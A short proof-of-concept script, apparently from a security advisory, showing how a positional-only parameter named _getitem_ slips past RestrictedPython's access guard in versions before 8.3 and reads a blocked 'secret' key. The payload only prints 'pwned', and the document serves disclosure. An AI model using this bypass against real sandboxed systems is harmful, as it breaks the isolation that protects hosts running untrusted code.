Vulnerable code sample

# This code requires a vulnerable version of RestrictedPython (< 8.3)
# and Python 3.8+ (for positional-only argument syntax).
#
# In a vulnerable environment, this script will successfully print "pwned".
# In a patched environment (>= 8.3), it will raise a SyntaxError
# at the `compile_restricted` step, because the argument `_getitem_` is forbidden.
#
from RestrictedPython import compile_restricted, safe_globals

# A security policy that attempts to block access to dictionary keys named 'secret'.
def secure_getitem_guard(obj, key):
    if key == 'secret':
        raise PermissionError("Access to 'secret' keys is denied by policy.")
    return obj[key]

# Malicious code to be executed in the restricted environment.
# It defines a function with a positional-only argument (`/`) named `_getitem_`.
# This was the specific argument type that was not checked in vulnerable versions.
exploit_code = """
def get_secret_data(_getitem_, /):
    # Inside this function, `_getitem_` refers to the local function parameter,
    # "shadowing" the global security guard.
    # As a result, the dictionary access below is not intercepted by the guard.
    data = {'public': 'info', 'secret': 'pwned'}
    return data['secret']

# Call the malicious function to trigger the bypass.
# `None` is just a placeholder value for the now-irrelevant `_getitem_` parameter.
result = get_secret_data(None)
"""

# Set up the restricted environment, providing our guard.
restricted_globals = safe_globals.copy()
restricted_globals['_getitem_'] = secure_getitem_guard

# Create a dictionary to hold the results of the execution.
restricted_locals = {}

# Compile and execute the malicious code.
# This will succeed on vulnerable versions of RestrictedPython.
byte_code = compile_restricted(exploit_code, filename='<string>', mode='exec')
exec(byte_code, restricted_globals, restricted_locals)

# Print the data that was illegally accessed.
print(restricted_locals['result'])